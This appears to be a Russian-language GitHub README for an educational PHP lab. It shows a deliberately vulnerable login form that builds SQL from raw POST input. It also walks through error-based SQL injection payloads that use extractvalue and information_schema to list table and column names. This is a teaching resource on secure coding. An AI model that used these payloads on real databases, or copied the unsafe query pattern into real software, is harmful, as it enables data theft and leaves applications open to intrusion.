/sql-injection-example-php

🔥 example sql injection on php

Primary LanguagePHPMIT LicenseMIT

SQL injection on PHP

Пример применения sql инъекций на PHP. Эта работа создана в образовательных целях и показывает программистам как не надо писать код. Данный сайт является примером эксплуатации уязвимости типа error-based. В основе примера обычная форма авторизации на сайте, состоящая из двух полей логина и пароля.

Software License

Требуется

  • Запущеный OpenServer или аналоги с PHP и MySQL
  • GIT
  • Browser или Postman

Установка и подготовка к запуску

  1. Сохранить репозиторий на своём ПК
git clone https://github.com/chartyom/sql-injection-example-php.git
  1. Сформировать базу данных открыв в браузере
/init_db.php
  1. Открыть основной файл
/index.php

Приступим

Как выглядит уязвимый код на PHP

$login = $_POST['login'];
$password = $_POST['password'];
$sql = "SELECT id FROM users WHERE login = '$login' and password = '$password'";
if ($result = mysqli_query($link, $sql)) {
    if (mysqli_num_rows($result)) {
        $authenticated = true;
    } else {
        $error_message = 'Не правильные логин или пароль';
    }
} else {
    $error_message = mysqli_error($link);
}
  1. Пробуем авторизоваться, подставив в любое поле кaвычку (‘), в результате чего получаем ошибку.

В результате получаем такой конечный вид запроса к базе данных, который вызывает ошибку:

SELECT id FROM users WHERE login = ''' and password = '';
  1. Получаем название первой таблицы из текущей базы данных:
' and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) -- comment

для получения второй и последующих названий таблиц необходимо поменять limit 0,1 на limit 1,1 и тд.

  1. Далее, зная название существующих таблиц в базе данных, требуется найти названия атрибутов:
' and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name='название таблицы' limit 0,1))) -- comment

для получения второго и последующих названий атрибутов необходимо поменять limit 0,1 на limit 1,1 и тд.

  1. Конечная цель получить текущий баланс баллов пользователя.

License

The MIT License (MIT). Please see License File for more information.